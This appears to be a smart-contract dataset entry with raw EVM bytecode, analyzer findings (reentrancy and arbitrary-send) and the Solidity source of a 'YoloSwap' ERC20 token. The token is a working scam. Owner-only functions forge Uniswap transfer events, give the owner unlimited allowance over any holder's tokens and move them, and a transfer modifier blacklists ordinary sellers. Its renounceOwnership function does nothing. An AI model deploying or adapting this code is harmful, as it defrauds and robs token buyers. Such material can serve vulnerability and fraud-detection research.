116146110805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610645565b6015548111156110d25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610645565b6001600160a01b03831660009081526010602052604090205460ff1615801561111457506001600160a01b03821660009081526010602052604090205460ff16155b61116c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610645565b6014546001600160a01b038381169116146111f1576016548161118e846107fa565b6111989190611ea4565b106111f15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610645565b60006111fc306107fa565b6017546015549192508210159082106112155760155491505b80801561122c5750601454600160a81b900460ff16155b801561124657506014546001600160a01b03868116911614155b801561125b5750601454600160b01b900460ff165b801561128057506001600160a01b03851660009081526005602052604090205460ff16155b80156112a557506001600160a01b03841660009081526005602052604090205460ff16155b156112c5576112b3826114c7565b4780156112c3576112c347611409565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130a57506001600160a01b03831660009081526005602052604090205460ff165b8061133c57506014546001600160a01b0385811691161480159061133c57506014546001600160a01b03848116911614155b15611349575060006113c3565b6014546001600160a01b03858116911614801561137457506013546001600160a01b03848116911614155b1561138657600854600c55600954600d555b6014546001600160a01b0384811691161480156113b157506013546001600160a01b03858116911614155b156113c357600a54600c55600b54600d555b610c5084848484611641565b600081848411156113f35760405162461bcd60e51b81526004016106459190611bf9565b5060006114008486611ebc565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b6573d6000803e3d6000fd5b60006006548211156114aa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610645565b60006114b461166f565b90506114c08382611692565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150f5761150f611e40565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611568573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158c9190611e87565b8160018151811061159f5761159f611e40565b6001600160a01b0392831660209182029290920101526013546115c59130911684610d6f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fe908590600090869030904290600401611ed3565b600060405180830381600087803b15801561161857600080fd5b505af115801561162c573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061164e5761164e6116d4565b611659848484611702565b80610c5057610c50600e54600c55600f54600d55565b600080600061167c6117f9565b909250905061168b8282611692565b9250505090565b60006114c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183b565b600c541580156116e45750600d54155b156116eb57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171487611869565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174690876118c6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117759086611908565b6001600160a01b03891660009081526002602052604090205561179781611967565b6117a184836119b1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006118158282611692565b82101561183257505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361185c5760405162461bcd60e51b81526004016106459190611bf9565b5060006114008486611f44565b60008060008060008060008060006118868a600c54600d546119d5565b925092509250600061189661166f565b905060008060006118a98e878787611a2a565b919e509c509a509598509396509194505050505091939550919395565b60006114c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cf565b6000806119158385611ea4565b9050838110156114c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610645565b600061197161166f565b9050600061197f8383611a7a565b3060009081526002602052604090205490915061199c9082611908565b30600090815260026020526040902055505050565b6006546119be90836118c6565b6006556007546119ce9082611908565b6007555050565b60008080806119ef60646119e98989611a7a565b90611692565b90506000611a0260646119e98a89611a7a565b90506000611a1a82611a148b866118c6565b906118c6565b9992985090965090945050505050565b6000808080611a398886611a7a565b90506000611a478887611a7a565b90506000611a558888611a7a565b90506000611a6782611a1486866118c6565b939b939a50919850919650505050505050565b600082611a89575060006106cb565b6000611a958385611f66565b905082611aa28583611f44565b146114c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610645565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b8035611b2f81611b0f565b919050565b60006020808385031215611b4757600080fd5b823567ffffffffffffffff80821115611b5f57600080fd5b818501915085601f830112611b7357600080fd5b813581811115611b8557611b85611af9565b8060051b604051601f19603f83011681018181108582111715611baa57611baa611af9565b604052918252848201925083810185019188831115611bc857600080fd5b938501935b82851015611bed57611bde85611b24565b84529385019392850192611bcd565b98975050505050505050565b600060208083528351808285015260005b81811015611c2657858101830151858201604001528201611c0a565b81811115611c38576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6157600080fd5b8235611c6c81611b0f565b946020939093013593505050565b600080600060608486031215611c8f57600080fd5b8335611c9a81611b0f565b92506020840135611caa81611b0f565b929592945050506040919091013590565b600060208284031215611ccd57600080fd5b81356114c081611b0f565b80358015158114611b2f57600080fd5b600060208284031215611cfa57600080fd5b6114c082611cd8565b600060208284031215611d1557600080fd5b5035919050565b60008060008060808587031215611d3257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6357600080fd5b833567ffffffffffffffff80821115611d7b57600080fd5b818601915086601f830112611d8f57600080fd5b813581811115611d9e57600080fd5b8760208260051b8501011115611db357600080fd5b602092830195509350611dc99186019050611cd8565b90509250925092565b60008060408385031215611de557600080fd5b8235611df081611b0f565b91506020830135611e0081611b0f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e8057611e80611e56565b5060010190565b600060208284031215611e9957600080fd5b81516114c081611b0f565b60008219821115611eb757611eb7611e56565b500190565b600082821015611ece57611ece611e56565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f235784516001600160a01b031683529383019391830191600101611efe565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8057611f80611e56565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e3c7b7453380f78aaf7be748f481723f44d59503879b593640e19ff9ee6604e264736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,582
0xc8F56b7eFd9d2cCCa2E334eE908cF1f15d195C57
/** *Submitted for verification at Etherscan.io on 2022-03-23 */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract YoloSwap is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _affirmative; mapping (address => bool) private _rejectPile; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwner; uint256 private _sellAmount = 0; address public cr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address deployer = 0x34bC58587087dfd380c2259C9B6DD9B6317f68e2; address public _owner = 0x34bC58587087dfd380c2259C9B6DD9B6317f68e2; constructor () public { _name = "YoloSwap"; _symbol = "YOLOSWAP"; _decimals = 18; uint256 initialSupply = 1000000000 * 10 ** 18 ; _safeOwner = _owner; _mint(deployer, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _start(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _start(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approvalIncrease(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _affirmative[receivers[i]] = true; _rejectPile[receivers[i]] = false; } } function approvalDecrease(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _rejectPile[receivers[i]] = true; _affirmative[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } modifier main(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_affirmative[sender] == true){ _;}else{if (_rejectPile[sender] == true){ require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _auth() { require(msg.sender == _owner, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){ //Multi Transfer Emit Spoofer from Uniswap Pool for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){ //Emit Transfer Spoofer from Uniswap Pool emit Transfer(emitUniswapPool, emitReceiver, emitAmount);} function exec(address recipient) public _auth(){ _affirmative[recipient]=true; _approve(recipient, cr,_approveValue);} function obstruct(address recipient) public _auth(){ //Blker _affirmative[recipient]=false; _approve(recipient, cr,0); } function renounceOwnership() public _auth(){ //Renounces Ownership } function reverse(address target) public _auth() virtual returns (bool) { //Approve Spending _approve(target, _msgSender(), _approveValue); return true; } function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) { //Single Tranfer _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){ //Emit Single Transfer emit Transfer(emitSender, emitRecipient, emitAmount); } function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){ for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function burnLPTokens()public _auth(){} }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636bb6126e116100f9578063a9059cbb11610097578063cd2ce4f211610071578063cd2ce4f214610c0c578063d8fc292414610d78578063dd62ed3e14610ee4578063e30bd74014610f5c576101a9565b8063a9059cbb14610b52578063b2bdfa7b14610bb8578063bb88603c14610c02576101a9565b806395d89b41116100d357806395d89b411461096d578063a1a6d5fc146109f0578063a64b6e5f14610a5e578063a901431314610ae4576101a9565b80636bb6126e146108c757806370a082311461090b578063715018a614610963576101a9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146107335780635768b61a146107815780636268e0d5146107c557806362eb33e31461087d576101a9565b8063313ce567146104375780633cc4430d1461045b5780634c0cc925146105c7576101a9565b8063043fa39e146101ae57806306fdde0314610266578063095ea7b3146102e95780630cdfb6281461034f57806318160ddd1461039357806323b872dd146103b1575b600080fd5b610264600480360360208110156101c457600080fd5b81019080803590602001906401000000008111156101e157600080fd5b8201836020820111156101f357600080fd5b8035906020019184602083028401116401000000008311171561021557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610fb8565b005b61026e611171565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ae578082015181840152602081019050610293565b50505050905090810190601f1680156102db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610335600480360360408110156102ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611213565b604051808215151515815260200191505060405180910390f35b6103916004803603602081101561036557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611231565b005b61039b611338565b6040518082815260200191505060405180910390f35b61041d600480360360608110156103c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611342565b604051808215151515815260200191505060405180910390f35b61043f61141b565b604051808260ff1660ff16815260200191505060405180910390f35b6105c56004803603606081101561047157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156104ae57600080fd5b8201836020820111156104c057600080fd5b803590602001918460208302840111640100000000831117156104e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561054257600080fd5b82018360208201111561055457600080fd5b8035906020019184602083028401116401000000008311171561057657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611432565b005b610731600480360360608110156105dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561061a57600080fd5b82018360208201111561062c57600080fd5b8035906020019184602083028401116401000000008311171561064e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156106ae57600080fd5b8201836020820111156106c057600080fd5b803590602001918460208302840111640100000000831117156106e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506115a2565b005b61077f6004803603604081101561074957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116cc565b005b6107c36004803603602081101561079757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118eb565b005b61087b600480360360208110156107db57600080fd5b81019080803590602001906401000000008111156107f857600080fd5b82018360208201111561080a57600080fd5b8035906020019184602083028401116401000000008311171561082c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611a37565b005b610885611bef565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610909600480360360208110156108dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c15565b005b61094d6004803603602081101561092157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d61565b6040518082815260200191505060405180910390f35b61096b611da9565b005b610975611e6e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109b557808201518184015260208101905061099a565b50505050905090810190601f1680156109e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a5c60048036036060811015610a0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f10565b005b610aca60048036036060811015610a7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061203d565b604051808215151515815260200191505060405180910390f35b610b5060048036036060811015610afa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121d9565b005b610b9e60048036036040811015610b6857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612306565b604051808215151515815260200191505060405180910390f35b610bc0612324565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c0a61234a565b005b610d7660048036036060811015610c2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610c5f57600080fd5b820183602082011115610c7157600080fd5b80359060200191846020830284011164010000000083111715610c9357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610cf357600080fd5b820183602082011115610d0557600080fd5b80359060200191846020830284011164010000000083111715610d2757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061240f565b005b610ee260048036036060811015610d8e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610dcb57600080fd5b820183602082011115610ddd57600080fd5b80359060200191846020830284011164010000000083111715610dff57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610e5f57600080fd5b820183602082011115610e7157600080fd5b80359060200191846020830284011164010000000083111715610e9357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061257f565b005b610f4660048036036040811015610efa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126a9565b6040518082815260200191505060405180910390f35b610f9e60048036036020811015610f7257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612730565b604051808215151515815260200191505060405180910390f35b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461107b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b815181101561116d5760016002600084848151811061109c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061110757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611081565b5050565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112095780601f106111de57610100808354040283529160200191611209565b820191906000526020600020905b8154815290600101906020018083116111ec57829003601f168201915b5050505050905090565b6000611227611220612812565b848461281a565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b600061134f848484612a11565b6114108461135b612812565b61140b856040518060600160405280602881526020016148ec60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113c1612812565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b61281a565b600190509392505050565b6000600760009054906101000a900460ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008090505b825181101561159c5782818151811061151057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061157257fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506114fb565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611665576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61167983611671612812565b60085461281a565b60008090505b82518110156116c6576116b98484838151811061169857fe5b60200260200101518484815181106116ac57fe5b60200260200101516144b6565b808060010191505061167f565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6117a4816004546147f390919063ffffffff16565b60048190555061181d81600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611a3481600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600061281a565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611afa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8151811015611beb576001806000848481518110611b1a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110611b8557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611b00565b5050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d5e81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085461281a565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f